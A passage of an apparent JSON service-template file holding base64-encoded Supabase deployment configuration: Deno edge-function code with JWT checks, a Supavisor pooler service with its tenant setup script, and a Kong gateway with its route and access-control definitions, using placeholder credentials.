VJJRllfSldUID0gRGVuby5lbnYuZ2V0KCdWRVJJRllfSldUJykgPT09ICd0cnVlJ1xuXG5mdW5jdGlvbiBnZXRBdXRoVG9rZW4ocmVxOiBSZXF1ZXN0KSB7XG4gIGNvbnN0IGF1dGhIZWFkZXIgPSByZXEuaGVhZGVycy5nZXQoJ2F1dGhvcml6YXRpb24nKVxuICBpZiAoIWF1dGhIZWFkZXIpIHtcbiAgICB0aHJvdyBuZXcgRXJyb3IoJ01pc3NpbmcgYXV0aG9yaXphdGlvbiBoZWFkZXInKVxuICB9XG4gIGNvbnN0IFtiZWFyZXIsIHRva2VuXSA9IGF1dGhIZWFkZXIuc3BsaXQoJyAnKVxuICBpZiAoYmVhcmVyICE9PSAnQmVhcmVyJykge1xuICAgIHRocm93IG5ldyBFcnJvcihgQXV0aCBoZWFkZXIgaXMgbm90ICdCZWFyZXIge3Rva2VufSdgKVxuICB9XG4gIHJldHVybiB0b2tlblxufVxuXG5hc3luYyBmdW5jdGlvbiB2ZXJpZnlKV1Qoand0OiBzdHJpbmcpOiBQcm9taXNlPGJvb2xlYW4+IHtcbiAgY29uc3QgZW5jb2RlciA9IG5ldyBUZXh0RW5jb2RlcigpXG4gIGNvbnN0IHNlY3JldEtleSA9IGVuY29kZXIuZW5jb2RlKEpXVF9TRUNSRVQpXG4gIHRyeSB7XG4gICAgYXdhaXQgam9zZS5qd3RWZXJpZnkoand0LCBzZWNyZXRLZXkpXG4gIH0gY2F0Y2ggKGVycikge1xuICAgIGNvbnNvbGUuZXJyb3IoZXJyKVxuICAgIHJldHVybiBmYWxzZVxuICB9XG4gIHJldHVybiB0cnVlXG59XG5cbnNlcnZlKGFzeW5jIChyZXE6IFJlcXVlc3QpID0+IHtcbiAgaWYgKHJlcS5tZXRob2QgIT09ICdPUFRJT05TJyAmJiBWRVJJRllfSldUKSB7XG4gICAgdHJ5IHtcbiAgICAgIGNvbnN0IHRva2VuID0gZ2V0QXV0aFRva2VuKHJlcSlcbiAgICAgIGNvbnN0IGlzVmFsaWRKV1QgPSBhd2FpdCB2ZXJpZnlKV1QodG9rZW4pXG5cbiAgICAgIGlmICghaXNWYWxpZEpXVCkge1xuICAgICAgICByZXR1cm4gbmV3IFJlc3BvbnNlKEpTT04uc3RyaW5naWZ5KHsgbXNnOiAnSW52YWxpZCBKV1QnIH0pLCB7XG4gICAgICAgICAgc3RhdHVzOiA0MDEsXG4gICAgICAgICAgaGVhZGVyczogeyAnQ29udGVudC1UeXBlJzogJ2FwcGxpY2F0aW9uL2pzb24nIH0sXG4gICAgICAgIH0pXG4gICAgICB9XG4gICAgfSBjYXRjaCAoZSkge1xuICAgICAgY29uc29sZS5lcnJvcihlKVxuICAgICAgcmV0dXJuIG5ldyBSZXNwb25zZShKU09OLnN0cmluZ2lmeSh7IG1zZzogZS50b1N0cmluZygpIH0pLCB7XG4gICAgICAgIHN0YXR1czogNDAxLFxuICAgICAgICBoZWFkZXJzOiB7ICdDb250ZW50LVR5cGUnOiAnYXBwbGljYXRpb24vanNvbicgfSxcbiAgICAgIH0pXG4gICAgfVxuICB9XG5cbiAgY29uc3QgdXJsID0gbmV3IFVSTChyZXEudXJsKVxuICBjb25zdCB7IHBhdGhuYW1lIH0gPSB1cmxcbiAgY29uc3QgcGF0aF9wYXJ0cyA9IHBhdGhuYW1lLnNwbGl0KCcvJylcbiAgY29uc3Qgc2VydmljZV9uYW1lID0gcGF0aF9wYXJ0c1sxXVxuXG4gIGlmICghc2VydmljZV9uYW1lIHx8IHNlcnZpY2VfbmFtZSA9PT0gJycpIHtcbiAgICBjb25zdCBlcnJvciA9IHsgbXNnOiAnbWlzc2luZyBmdW5jdGlvbiBuYW1lIGluIHJlcXVlc3QnIH1cbiAgICByZXR1cm4gbmV3IFJlc3BvbnNlKEpTT04uc3RyaW5naWZ5KGVycm9yKSwge1xuICAgICAgc3RhdHVzOiA0MDAsXG4gICAgICBoZWFkZXJzOiB7ICdDb250ZW50LVR5cGUnOiAnYXBwbGljYXRpb24vanNvbicgfSxcbiAgICB9KVxuICB9XG5cbiAgY29uc3Qgc2VydmljZVBhdGggPSBgL2hvbWUvZGVuby9mdW5jdGlvbnMvJHtzZXJ2aWNlX25hbWV9YFxuICBjb25zb2xlLmVycm9yKGBzZXJ2aW5nIHRoZSByZXF1ZXN0IHdpdGggJHtzZXJ2aWNlUGF0aH1gKVxuXG4gIGNvbnN0IG1lbW9yeUxpbWl0TWIgPSAxNTBcbiAgY29uc3Qgd29ya2VyVGltZW91dE1zID0gMSAqIDYwICogMTAwMFxuICBjb25zdCBub01vZHVsZUNhY2hlID0gZmFsc2VcbiAgY29uc3QgaW1wb3J0TWFwUGF0aCA9IG51bGxcbiAgY29uc3QgZW52VmFyc09iaiA9IERlbm8uZW52LnRvT2JqZWN0KClcbiAgY29uc3QgZW52VmFycyA9IE9iamVjdC5rZXlzKGVudlZhcnNPYmopLm1hcCgoaykgPT4gW2ssIGVudlZhcnNPYmpba11dKVxuXG4gIHRyeSB7XG4gICAgY29uc3Qgd29ya2VyID0gYXdhaXQgRWRnZVJ1bnRpbWUudXNlcldvcmtlcnMuY3JlYXRlKHtcbiAgICAgIHNlcnZpY2VQYXRoLFxuICAgICAgbWVtb3J5TGltaXRNYixcbiAgICAgIHdvcmtlclRpbWVvdXRNcyxcbiAgICAgIG5vTW9kdWxlQ2FjaGUsXG4gICAgICBpbXBvcnRNYXBQYXRoLFxuICAgICAgZW52VmFycyxcbiAgICB9KVxuICAgIHJldHVybiBhd2FpdCB3b3JrZXIuZmV0Y2gocmVxKVxuICB9IGNhdGNoIChlKSB7XG4gICAgY29uc3QgZXJyb3IgPSB7IG1zZzogZS50b1N0cmluZygpIH1cbiAgICByZXR1cm4gbmV3IFJlc3BvbnNlKEpTT04uc3RyaW5naWZ5KGVycm9yKSwge1xuICAgICAgc3RhdHVzOiA1MDAsXG4gICAgICBoZWFkZXJzOiB7ICdDb250ZW50LVR5cGUnOiAnYXBwbGljYXRpb24vanNvbicgfSxcbiAgICB9KVxuICB9XG59KSIKICAgICAgLQogICAgICAgIHR5cGU6IGJpbmQKICAgICAgICBzb3VyY2U6IC4vdm9sdW1lcy9mdW5jdGlvbnMvaGVsbG8vaW5kZXgudHMKICAgICAgICB0YXJnZXQ6IC9ob21lL2Rlbm8vZnVuY3Rpb25zL2hlbGxvL2luZGV4LnRzCiAgICAgICAgY29udGVudDogIi8vIEZvbGxvdyB0aGlzIHNldHVwIGd1aWRlIHRvIGludGVncmF0ZSB0aGUgRGVubyBsYW5ndWFnZSBzZXJ2ZXIgd2l0aCB5b3VyIGVkaXRvcjpcbi8vIGh0dHBzOi8vZGVuby5sYW5kL21hbnVhbC9nZXR0aW5nX3N0YXJ0ZWQvc2V0dXBfeW91cl9lbnZpcm9ubWVudFxuLy8gVGhpcyBlbmFibGVzIGF1dG9jb21wbGV0ZSwgZ28gdG8gZGVmaW5pdGlvbiwgZXRjLlxuXG5pbXBvcnQgeyBzZXJ2ZSB9IGZyb20gXCJodHRwczovL2Rlbm8ubGFuZC9zdGRAMC4xNzcuMS9odHRwL3NlcnZlci50c1wiXG5cbnNlcnZlKGFzeW5jICgpID0+IHtcbiAgcmV0dXJuIG5ldyBSZXNwb25zZShcbiAgICBgXCJIZWxsbyBmcm9tIEVkZ2UgRnVuY3Rpb25zIVwiYCxcbiAgICB7IGhlYWRlcnM6IHsgXCJDb250ZW50LVR5cGVcIjogXCJhcHBsaWNhdGlvbi9qc29uXCIgfSB9LFxuICApXG59KVxuXG4vLyBUbyBpbnZva2U6XG4vLyBjdXJsICdodHRwOi8vbG9jYWxob3N0OjxLT05HX0hUVFBfUE9SVD4vZnVuY3Rpb25zL3YxL2hlbGxvJyBcXFxuLy8gICAtLWhlYWRlciAnQXV0aG9yaXphdGlvbjogQmVhcmVyIDxhbm9uL3NlcnZpY2Vfcm9sZSBBUEkga2V5PidcbiIKICAgIGNvbW1hbmQ6CiAgICAgIC0gc3RhcnQKICAgICAgLSAnLS1tYWluLXNlcnZpY2UnCiAgICAgIC0gL2hvbWUvZGVuby9mdW5jdGlvbnMvbWFpbgogIHN1cGFiYXNlLXN1cGF2aXNvcjoKICAgIGltYWdlOiAnc3VwYWJhc2Uvc3VwYXZpc29yOjIuNS4xJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIGN1cmwKICAgICAgICAtICctc1NmTCcKICAgICAgICAtICctbycKICAgICAgICAtIC9kZXYvbnVsbAogICAgICAgIC0gJ2h0dHA6Ly8xMjcuMC4wLjE6NDAwMC9hcGkvaGVhbHRoJwogICAgICB0aW1lb3V0OiA1cwogICAgICBpbnRlcnZhbDogNXMKICAgICAgcmV0cmllczogMTAKICAgIGRlcGVuZHNfb246CiAgICAgIHN1cGFiYXNlLWRiOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICAgIHN1cGFiYXNlLWFuYWx5dGljczoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gUE9PTEVSX1RFTkFOVF9JRD1kZXZfdGVuYW50CiAgICAgIC0gUE9PTEVSX1BPT0xfTU9ERT10cmFuc2FjdGlvbgogICAgICAtICdQT09MRVJfREVGQVVMVF9QT09MX1NJWkU9JHtQT09MRVJfREVGQVVMVF9QT09MX1NJWkU6LTIwfScKICAgICAgLSAnUE9PTEVSX01BWF9DTElFTlRfQ09OTj0ke1BPT0xFUl9NQVhfQ0xJRU5UX0NPTk46LTEwMH0nCiAgICAgIC0gUE9SVD00MDAwCiAgICAgIC0gJ1BPU1RHUkVTX1BPUlQ9JHtQT1NUR1JFU19QT1JUOi01NDMyfScKICAgICAgLSAnUE9TVEdSRVNfSE9TVE5BTUU9JHtQT1NUR1JFU19IT1NUTkFNRTotc3VwYWJhc2UtZGJ9JwogICAgICAtICdQT1NUR1JFU19EQj0ke1BPU1RHUkVTX0RCOi1wb3N0Z3Jlc30nCiAgICAgIC0gJ1BPU1RHUkVTX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU30nCiAgICAgIC0gJ0RBVEFCQVNFX1VSTD1lY3RvOi8vc3VwYWJhc2VfYWRtaW46JHtTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTfUAke1BPU1RHUkVTX0hPU1ROQU1FOi1zdXBhYmFzZS1kYn06JHtQT1NUR1JFU19QT1JUOi01NDMyfS9fc3VwYWJhc2UnCiAgICAgIC0gQ0xVU1RFUl9QT1NUR1JFUz10cnVlCiAgICAgIC0gJ1NFQ1JFVF9LRVlfQkFTRT0ke1NFUlZJQ0VfUEFTU1dPUkRfU1VQQVZJU09SU0VDUkVUfScKICAgICAgLSAnVkFVTFRfRU5DX0tFWT0ke1NFUlZJQ0VfUEFTU1dPUkRfVkFVTFRFTkN9JwogICAgICAtICdBUElfSldUX1NFQ1JFVD0ke1NFUlZJQ0VfUEFTU1dPUkRfSldUfScKICAgICAgLSAnTUVUUklDU19KV1RfU0VDUkVUPSR7U0VSVklDRV9QQVNTV09SRF9KV1R9JwogICAgICAtIFJFR0lPTj1sb2NhbAogICAgICAtICdFUkxfQUZMQUdTPS1wcm90b19kaXN0IGluZXRfdGNwJwogICAgY29tbWFuZDoKICAgICAgLSAvYmluL3NoCiAgICAgIC0gJy1jJwogICAgICAtICcvYXBwL2Jpbi9taWdyYXRlICYmIC9hcHAvYmluL3N1cGF2aXNvciBldmFsICIkJChjYXQgL2V0Yy9wb29sZXIvcG9vbGVyLmV4cykiICYmIC9hcHAvYmluL3NlcnZlcicKICAgIHZvbHVtZXM6CiAgICAgIC0KICAgICAgICB0eXBlOiBiaW5kCiAgICAgICAgc291cmNlOiAuL3ZvbHVtZXMvcG9vbGVyL3Bvb2xlci5leHMKICAgICAgICB0YXJnZXQ6IC9ldGMvcG9vbGVyL3Bvb2xlci5leHMKICAgICAgICBjb250ZW50OiAiezpvaywgX30gPSBBcHBsaWNhdGlvbi5lbnN1cmVfYWxsX3N0YXJ0ZWQoOnN1cGF2aXNvcilcbns6b2ssIHZlcnNpb259ID1cbiAgICBjYXNlIFN1cGF2aXNvci5SZXBvLnF1ZXJ5IShcInNlbGVjdCB2ZXJzaW9uKClcIikgZG9cbiAgICAle3Jvd3M6IFtbdmVyXV19IC0+IFN1cGF2aXNvci5IZWxwZXJzLnBhcnNlX3BnX3ZlcnNpb24odmVyKVxuICAgIF8gLT4gbmlsXG4gICAgZW5kXG5wYXJhbXMgPSAle1xuICAgIFwiZXh0ZXJuYWxfaWRcIiA9PiBTeXN0ZW0uZ2V0X2VudihcIlBPT0xFUl9URU5BTlRfSURcIiksXG4gICAgXCJkYl9ob3N0XCIgPT4gU3lzdGVtLmdldF9lbnYoXCJQT1NUR1JFU19IT1NUTkFNRVwiKSxcbiAgICBcImRiX3BvcnRcIiA9PiBTeXN0ZW0uZ2V0X2VudihcIlBPU1RHUkVTX1BPUlRcIikgfD4gU3RyaW5nLnRvX2ludGVnZXIoKSxcbiAgICBcImRiX2RhdGFiYXNlXCIgPT4gU3lzdGVtLmdldF9lbnYoXCJQT1NUR1JFU19EQlwiKSxcbiAgICBcInJlcXVpcmVfdXNlclwiID0+IGZhbHNlLFxuICAgIFwiYXV0aF9xdWVyeVwiID0+IFwiU0VMRUNUICogRlJPTSBwZ2JvdW5jZXIuZ2V0X2F1dGgoJDEpXCIsXG4gICAgXCJkZWZhdWx0X21heF9jbGllbnRzXCIgPT4gU3lzdGVtLmdldF9lbnYoXCJQT09MRVJfTUFYX0NMSUVOVF9DT05OXCIpLFxuICAgIFwiZGVmYXVsdF9wb29sX3NpemVcIiA9PiBTeXN0ZW0uZ2V0X2VudihcIlBPT0xFUl9ERUZBVUxUX1BPT0xfU0laRVwiKSxcbiAgICBcImRlZmF1bHRfcGFyYW1ldGVyX3N0YXR1c1wiID0+ICV7XCJzZXJ2ZXJfdmVyc2lvblwiID0+IHZlcnNpb259LFxuICAgIFwidXNlcnNcIiA9PiBbJXtcbiAgICBcImRiX3VzZXJcIiA9PiBcInBnYm91bmNlclwiLFxuICAgIFwiZGJfcGFzc3dvcmRcIiA9PiBTeXN0ZW0uZ2V0X2VudihcIlBPU1RHUkVTX1BBU1NXT1JEXCIpLFxuICAgIFwibW9kZV90eXBlXCIgPT4gU3lzdGVtLmdldF9lbnYoXCJQT09MRVJfUE9PTF9NT0RFXCIpLFxuICAgIFwicG9vbF9zaXplXCIgPT4gU3lzdGVtLmdldF9lbnYoXCJQT09MRVJfREVGQVVMVF9QT09MX1NJWkVcIiksXG4gICAgXCJpc19tYW5hZ2VyXCIgPT4gdHJ1ZVxuICAgIH1dXG59XG5cbnRlbmFudCA9IFN1cGF2aXNvci5UZW5hbnRzLmdldF90ZW5hbnRfYnlfZXh0ZXJuYWxfaWQocGFyYW1zW1wiZXh0ZXJuYWxfaWRcIl0pXG5cbmlmIHRlbmFudCBkb1xuICB7Om9rLCBffSA9IFN1cGF2aXNvci5UZW5hbnRzLnVwZGF0ZV90ZW5hbnQodGVuYW50LCBwYXJhbXMpXG5lbHNlXG4gIHs6b2ssIF99ID0gU3VwYXZpc29yLlRlbmFudHMuY3JlYXRlX3RlbmFudChwYXJhbXMpXG5lbmRcbiIK", + "compose": "c2VydmljZXM6CiAgc3VwYWJhc2Uta29uZzoKICAgIGltYWdlOiAna29uZzoyLjguMScKICAgIGVudHJ5cG9pbnQ6ICdiYXNoIC1jICcnZXZhbCAiZWNobyBcIiQkKGNhdCB+L3RlbXAueW1sKVwiIiA+IH4va29uZy55bWwgJiYgL2RvY2tlci1lbnRyeXBvaW50LnNoIGtvbmcgZG9ja2VyLXN0YXJ0JycnCiAgICBkZXBlbmRzX29uOgogICAgICBzdXBhYmFzZS1hbmFseXRpY3M6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfRlFETl9TVVBBQkFTRUtPTkdfODAwMAogICAgICAtICdLT05HX1BPUlRfTUFQUz00NDM6ODAwMCcKICAgICAgLSAnSldUX1NFQ1JFVD0ke1NFUlZJQ0VfUEFTU1dPUkRfSldUfScKICAgICAgLSBLT05HX0RBVEFCQVNFPW9mZgogICAgICAtIEtPTkdfREVDTEFSQVRJVkVfQ09ORklHPS9ob21lL2tvbmcva29uZy55bWwKICAgICAgLSAnS09OR19ETlNfT1JERVI9TEFTVCxBLENOQU1FJwogICAgICAtICdLT05HX1BMVUdJTlM9cmVxdWVzdC10cmFuc2Zvcm1lcixjb3JzLGtleS1hdXRoLGFjbCxiYXNpYy1hdXRoJwogICAgICAtIEtPTkdfTkdJTlhfUFJPWFlfUFJPWFlfQlVGRkVSX1NJWkU9MTYwawogICAgICAtICdLT05HX05HSU5YX1BST1hZX1BST1hZX0JVRkZFUlM9NjQgMTYwaycKICAgICAgLSAnU1VQQUJBU0VfQU5PTl9LRVk9JHtTRVJWSUNFX1NVUEFCQVNFQU5PTl9LRVl9JwogICAgICAtICdTVVBBQkFTRV9TRVJWSUNFX0tFWT0ke1NFUlZJQ0VfU1VQQUJBU0VTRVJWSUNFX0tFWX0nCiAgICAgIC0gJ0RBU0hCT0FSRF9VU0VSTkFNRT0ke1NFUlZJQ0VfVVNFUl9BRE1JTn0nCiAgICAgIC0gJ0RBU0hCT0FSRF9QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfQURNSU59JwogICAgdm9sdW1lczoKICAgICAgLQogICAgICAgIHR5cGU6IGJpbmQKICAgICAgICBzb3VyY2U6IC4vdm9sdW1lcy9hcGkva29uZy55bWwKICAgICAgICB0YXJnZXQ6IC9ob21lL2tvbmcvdGVtcC55bWwKICAgICAgICBjb250ZW50OiAiX2Zvcm1hdF92ZXJzaW9uOiAnMi4xJ1xuX3RyYW5zZm9ybTogdHJ1ZVxuXG4jIyNcbiMjIyBDb25zdW1lcnMgLyBVc2Vyc1xuIyMjXG5jb25zdW1lcnM6XG4gIC0gdXNlcm5hbWU6IERBU0hCT0FSRFxuICAtIHVzZXJuYW1lOiBhbm9uXG4gICAga2V5YXV0aF9jcmVkZW50aWFsczpcbiAgICAgIC0ga2V5OiAkU1VQQUJBU0VfQU5PTl9LRVlcbiAgLSB1c2VybmFtZTogc2VydmljZV9yb2xlXG4gICAga2V5YXV0aF9jcmVkZW50aWFsczpcbiAgICAgIC0ga2V5OiAkU1VQQUJBU0VfU0VSVklDRV9LRVlcblxuIyMjXG4jIyMgQWNjZXNzIENvbnRyb2wgTGlzdFxuIyMjXG5hY2xzOlxuICAtIGNvbnN1bWVyOiBhbm9uXG4gICAgZ3JvdXA6IGFub25cbiAgLSBjb25zdW1lcjogc2VydmljZV9yb2xlXG4gICAgZ3JvdXA6IGFkbWluXG5cbiMjI1xuIyMjIERhc2hib2FyZCBjcmVkZW50aWFsc1xuIyMjXG5iYXNpY2F1dGhfY3JlZGVudGlhbHM6XG4tIGNvbnN1bWVyOiBEQVNIQk9BUkRcbiAgdXNlcm5hbWU6ICREQVNIQk9BUkRfVVNFUk5BTUVcbiAgcGFzc3dvcmQ6ICREQVNIQk9BUkRfUEFTU1dPUkRcblxuXG4jIyNcbiMjIyBBUEkgUm91dGVzXG4jIyNcbnNlcnZpY2VzOlxuXG4gICMjIE9wZW4gQXV0aCByb3V0ZXNcbiAgLSBuYW1lOiBhdXRoLXYxLW9wZW5cbiAgICB1cmw6IGh0dHA6Ly9zdXBhYmFzZS1hdXRoOjk5OTkvdmVyaWZ5XG4gICAgcm91dGVzOlxuICAgICAgLSBuYW1lOiBhdXRoLXYxLW9wZW5cbiAgICAgICAgc3RyaXBfcGF0aDogdHJ1ZVxuICAgICAgICBwYXRoczpcbiAgICAgICAgICAtIC9hdXRoL3YxL3ZlcmlmeVxuICAgIHBsdWdpbnM6XG4gICAgICAtIG5hbWU6IGNvcnNcbiAgLSBuYW1lOiBhdXRoLXYxLW9wZW4tY2FsbGJhY2tcbiAgICB1cmw6IGh0dHA6Ly9zdXBhYmFzZS1hdXRoOjk5OTkvY2FsbGJhY2tcbiAgICByb3V0ZXM6XG4gICAgICAtIG5hbWU6IGF1dGgtdjEtb3Blbi1jYWxsYmFja1xuICAgICAgICBzdHJpcF9wYXRoOiB0cnVlXG4gICAgICAgIHBhdGhzOlxuICAgICAgICAgIC0gL2F1dGgvdjEvY2FsbGJhY2tcbiAgICBwbHVnaW5zOlxuICAgICAgLSBuYW1lOiBjb3JzXG4gIC0gbmFtZTogYXV0aC12MS1vcGVuLWF1dGhvcml6ZVxuICAgIHVybDogaHR0cDovL3N1cGFiYXNlLWF1dGg6OTk5OS9hdXRob3JpemVcbiAgICByb3V0ZXM6XG4gICAgICAtIG5hbWU6IGF1dGgtdjEtb3Blbi1hdXRob3JpemVcbiAgICAgICAgc3RyaXBfcGF0aDogdHJ1ZVxuICAgICAgICBwYXRoczpcbiAgICAgICAgICAtIC9hdXRoL3YxL2F1dGhvcml6ZVxuICAgIHBsdWdpbnM6XG4gICAgICAtIG5hbWU6IGNvcnNcblxuICAjIyBTZWN1cmUgQXV0aCByb3V0ZXNcbiAgLSBuYW1lOiBhdXRoLXYxXG4gICAgX2NvbW1lbnQ6ICdHb1RydWU6IC9hdXRoL3YxLyogLT4gaHR0cDovL3N1cGFiYXNlLWF1dGg6OTk5OS8qJ1xuICAgIHVybDogaHR0cDovL3N1cGFiYXNlLWF1dGg6OTk5OS9cbiAgICByb3V0ZXM6XG4gICAgICAtIG5hbWU6IGF1dGgtdjEtYWxsXG4gICAgICAgIHN0cmlwX3BhdGg6IHRydWVcbiAgICAgICAgcGF0aHM6XG4gICAgICAgICAgLSAvYXV0aC92MS9cbiAgICBwbHVnaW5zOlxuICAgICAgLSBuYW1lOiBjb3JzXG4gICAgICAtIG5hbWU6IGtleS1hdXRoXG4gICAgICAgIGNvbmZpZzpcbiAgICAgICAgICBoaWRlX2NyZWRlbnRpYWxzOiBmYWxzZVxuICAgICAgLSBuYW1lOiBhY2xcbiAgICAgICAgY29uZmlnOlxuICAgICAgICAgIGhpZGVfZ3JvdXBzX2hlYWRlcjogdHJ1ZVxuICAgICAgICAgIGFsbG93OlxuICAgICAgICAgICAgLSBhZG1pblxuICAgICAgICAgICAgLSBhbm9uXG5cbiAgIyMgU2VjdXJlIFJFU1Qgcm91dGVzXG4gIC0gbmFtZTogcmVzdC12MVxuICAgIF9jb21tZW50OiAnUG9zdGdSRVNUOiAvcmVzdC92MS8qIC0+IGh0dHA6Ly9zdXBhYmFzZS1yZXN0OjMwMDAvKidcbiAgICB1cmw6IGh0dHA6Ly9zdXBhYmFzZS1yZXN0OjMwMDAvXG4gICAgcm91dGVzOlxuICAgICAgLSBuYW1lOiByZXN0LXYxLWFsbFxuICAgICAgICBzdHJpcF9wYXRoOiB0cnVlXG4gICAgICAgIHBhdGhzOlxuICAgICAgICAgIC0gL3Jlc3QvdjEvXG4gICAgcGx1Z2luczpcbiAgICAgIC0gbmFtZTogY29yc1xuICAgICAgLSBuYW1lOiBrZXktYXV0aFxuICAgICAgICBjb25maWc6XG4gICAgICAgICAgaGlkZV9jcmVkZW50aWFsczogdHJ1ZVxuICAgICAgLSBuYW1lOiBhY2xcbiAgICAgICAgY29uZmlnOlxuICAgICAgICAgIGhpZGVfZ3JvdXBzX2hlYWRlcjogdHJ1ZVxuICAgICAgICAgIGFsbG93OlxuICAgICAgICAgICAgLSBhZG1pblxuICAgICAgICAgICAgLSBhbm9uXG5cbiAgIyMgU2VjdXJlIEdyYXBoUUwgcm91dGVzXG4gIC0gbmFtZTogZ3JhcGhxbC12MVxuICAgIF9jb21tZW50OiAnUG9zdGdSRVNUOiAvZ3JhcGhxbC92MS8qIC0+IGh0dHA6Ly9zdXBhYmFzZS1yZXN0OjMwMDAvcnBjL2dyYXBocWwnXG4gICAgdXJsOiBodHRwOi8vc3VwYWJhc2UtcmVzdDozMDAwL3JwYy9ncmFwaHFsXG4gICAgcm91dGVzOlxuICAgICAgLSBuYW1lOiBncmFwaHFsLXYxLWFsbFxuICAgICAgICBzdHJpcF9wYXRoOiB0cnVlXG4gICAgICAgIHBhdGhzOlxuICAgICAgICAgIC0gL2dyYXBocWwvdjFcbiAgICBwbHVnaW5zOlxuICAgICAgLSBuYW1lOiBjb3JzXG4gICAgICAtIG5hbWU6IGtleS1hdXRoXG4gICAgICAgIGNvbmZpZzpcbiAgICAgICAgICBoaWRlX2NyZWRlbnRpYWxzOiB0cnVlXG4gICAgICAtIG5hbWU6IHJlcXVlc3QtdHJhbnNmb3JtZXJcbiAgICAgICAgY29uZmlnOlxuICAgICAgICAgIGFkZDpcbiAgICAgICAgICAgIGhlYWRlcnM6XG4gICAgICAgICAgICAgIC0gQ29udGVudC1Qcm9maWxlOmdyYXBocWxfcHVibGljXG4gICAgICAtIG5hbWU6IGFjbFxuICAgICAgICBjb25maWc6XG4gICAgICAgICAgaGlkZV9ncm91cHNfaGVhZGVyOiB0cnVlXG4gICAgICAgICAgYWxsb3c6XG4gICAgICAgICAgICAtIGFkbWluXG4gICAgICAgICAgICAtIGFub25cblxuICAjIyBTZWN1cmUgUmVhbHRpbWUgcm91dGVzXG4gIC0gbmFtZTogcmVhbHRpbWUtdjEtd3NcbiAgICBfY29tbWVudDogJ1JlYWx0aW1lOiAvcmVhbHRpbWUvdjEvKiAtPiB3czovL3JlYWx0aW1lOjQwMDAvc29ja2V0LyonXG4gICAgdXJsOiBodHRwOi8vcmVhbHRpbWUtZGV2OjQwMDAvc29ja2V0XG4gICAgcHJvdG9jb2w6IHdzXG4gICAgcm91dGVzOlxuICAgICAgLSBuYW1lOiByZWFsdGltZS12MS13c1xuICAgICAgICBzdHJpcF9wYXRoOiB0cnVlXG4gICAgICAgIHBhdGhzOlxuICAgICAgICAgIC0gL3JlYWx0aW1lL3YxL1xuICAgIHBsdWdpbnM6XG4gICAgICAtIG5hbWU6IGNvcnNcbiAgICAgIC0gbmFtZToga2V5LWF1dGhcbiAgICAgICAgY29uZmlnOlxuICAgICAgICAgIGhpZGVfY3JlZGVudGlhbHM6IGZhbHNlXG4gICAgICAtIG5hbWU6IGFjbFxuICAgICAgICBjb25maWc6XG4gICAgICAgICAgaGlkZV9ncm91cHNfaGVhZGVyOiB0cnVlXG4gICAgICAgICAgYWxsb3c6XG4gICAgICAgICAgICAtIGFkbWluXG4gICAgICAgICAgICAtIGFub25cbiAgLSBuYW1lOiByZWFsdGltZS12MS1yZXN0XG4gICAgX2NvbW1lbnQ6ICdSZWFsdGltZTogL3JlYWx0aW1lL3YxLyogLT4gd3M6Ly9yZWFsdGltZTo0MDAwL3NvY2tldC8qJ1xuICAgIHVybDogaHR0cDovL3JlYWx0aW1lLWRldjo0MDAwL2FwaVxuICAgIHByb3RvY29sOiBodHRwXG4gICAgcm91dGVzOlxuICAgICAgLSBuYW1lOiByZWFsdGltZS12MS1yZXN0XG4gICAgICAgIHN0cmlwX3BhdGg6IHRydWVcbiAgICAgICAgcGF0aHM6XG4gICAgICAgICAgLSAvcmVhbHRpbWUvdjEvYXBpXG4gICAgcGx1Z2luczpcbiAgICAgIC0gbmFtZTogY29yc1xuICAgICAgLSBuYW1lOiBrZXktYXV0aFxuICAgICAgICBjb25maWc6XG4gICAgICAgICAgaGlkZV9jcmVkZW50aWFsczogZmFsc2VcbiAgICAgIC0gbmFtZTogYWNsXG4gICAgICAgIGNvbmZpZzpcbiAgICAgICAgICBoaWRlX2dyb3Vwc19oZWFkZXI6IHRydWVcbiAgICAgICAgICBhbGxvdzpcbiAgICAgICAgICAgIC0gYWRtaW5cbiAgICAgICAgICAgIC0gYW5vblxuXG4gICMjIFN0b3JhZ2Ugcm91dGVzOiB0aGUgc3RvcmFnZSBzZXJ2ZXIgbWFuYWdlcyBpdHMgb3duIGF1dGhcbiAgLSBuYW1lOiBzdG9yYWdlLXYxXG4gICAgX2NvbW1lbnQ6ICdTdG9yYWdlOiAvc3RvcmFnZS92MS8qIC0+IGh0dHA6Ly9zdXBhYmFzZS1zdG9yYWdlOjUwMDAvKidcbiAgICB1cmw6IGh0dHA6Ly9zdXBhYmFzZS1zdG9yYWdlOjUwMDAvXG4gICAgcm91dGVzOlxuICAgICAgLSBuYW1lOiBzdG9yYWdlLXYxLWFsbFxuICAgICAgICBzdHJpcF9wYXRoOiB0cnVlXG4gICAgICAgIHBhdGhzOlxuICAgICAgICAgIC0gL3N0b3JhZ2UvdjEvXG4gICAgcGx1Z2luczpcbiAgICAgIC0gbmFtZTogY29yc1xuXG4gICMjIEVkZ2UgRnVuY3Rpb25zIHJvdXRlc1xuICAtIG5hbWU6IGZ1bmN0aW9ucy12MVxuICAgIF9jb21tZW50OiAnRWRnZSBGdW5jdGlvbnM6IC9mdW5jdGlvbnMvdjEvKiAtPiBodHRwOi8vc3VwYWJhc2UtZWRnZS1mdW5jdGlvbnM6OTAwMC8qJ1xuICAgIHVybDogaHR0cDovL3N1cGFiYXNlLWVkZ2UtZnVuY3Rpb25zOjkwMDAvXG4gICAgcm91dGVzOlxuICAgICAgLSBuYW1lOiBmdW5jdGlvbnMtdjEtYWxsXG4gICAgICAgIHN0cmlwX3BhdGg6IHRydWVcbiAgICAgICAgcGF0aHM6XG4gICAgICAgICAgLSAvZnVuY3Rpb25zL3YxL1xuICAgIHBsdWdpbnM6XG4gICAgICAtIG5hbWU6IGNvcnNcblxuICAjIyBBbmFseXRpY3Mgcm91dGVzXG4gIC0gbmFtZTogYW5hbHl0aWNzLXYxXG4gICAgX2NvbW1lbnQ6ICdBbmFseXRpY3M6IC9hbmFseXRpY3MvdjEvKiAtPiBodHR